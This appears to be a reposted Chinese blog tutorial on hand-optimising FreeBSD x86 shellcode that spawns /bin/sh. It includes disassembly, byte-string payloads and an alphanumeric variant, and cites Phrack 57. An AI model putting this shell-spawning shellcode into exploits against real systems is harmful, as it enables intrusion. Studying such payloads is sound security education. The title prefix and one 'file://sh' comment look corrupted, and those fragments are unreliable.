识别INSB号码C语言如何讲述,编写\"优美\"的SHELLCODE-jarodlau-ChinaUnix博客

本文探讨了如何优化Shellcode,通过将字符串/bin/sh压入堆栈来减少代码长度,并使用/bin//sh替代,避免了在末尾添加额外的''。虽然可以进一步优化,例如使用特定的指令序列替换INT 0x80,但这涉及到更复杂的ESP操作,未在此详细展开。最终实现的Shellcode缩短了长度,提高了效率。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

对应代码为:

"1\xc0t\f_PPWW\x88G\a4;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh"

共28字节,书写57字节.

看,又简化写了吧.

现在代码主要浪费在了call real 和给"/bin/sh"最后一字节添加'\0'上了,我们能不

打破

jmp next

real:

. . .

next:

call real

.string "/bin/sh"

这一体系呢?

问题的关键在于FreeBSD上我们的shellcode只要一个字符串,数据量很小,我们完全可

考虑用堆栈存放该字符串。

我们事先将"/bin/sh" push到堆栈中。

但字符串要以\0结尾所以我们还是需要在其后添加\0,我们可以先push一个 0到堆栈中

而/bin/sh为7个字符,我们可以用/bin//sh代替,效果相同。

以此为思路我们最终编写如下:

0804847c :

804847c: 31 c0 xor %eax,%eax

804847e: 50 push %eax ; pushl 0

804847f: 68 2f 2f 73 68 push $0x68732f2f ; pushl

"file://sh"

8048484: 68 2f 62 69 6e push $0x6e69622f ; pushl "/bin"

8048489: 54 push %esp

804848a: 5b pop %ebx ; 取得"/bin/sh"地

804848b: 50 push %eax

804848c: 50 push %eax

804848d: 53 push %ebx

804848e: 53 push %ebx

804848f: 34 3b xor $0x3b,%al

8048491: cd 80 int $0x80

对应shellcode为:

"1\xc0Ph//shh/binT[PPSS4;\xcd\x80"

当然我们也可以将 xor %eax,%eax 写为:

pushl $0x32323232 ; pushl "2222"

popl %eax

xorl $0x32323232,%eax

这样整个shellcode中就只剩下\xcd\x80不是字符了,但好像有点得不偿失。

最后是不是想把\xcd\x80也给换一换?

不过不要太乐观了,要替换掉它就有点难度了,这得要操作具体的esp位置,这里

就不多作讨论了,有兴趣可参见phrack57#

个人的一点愚见,忘大家指正。

参考:

微软masm32 v6 帮助手册

phrack57# Writing ia32 alphanumeric shellcodes

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值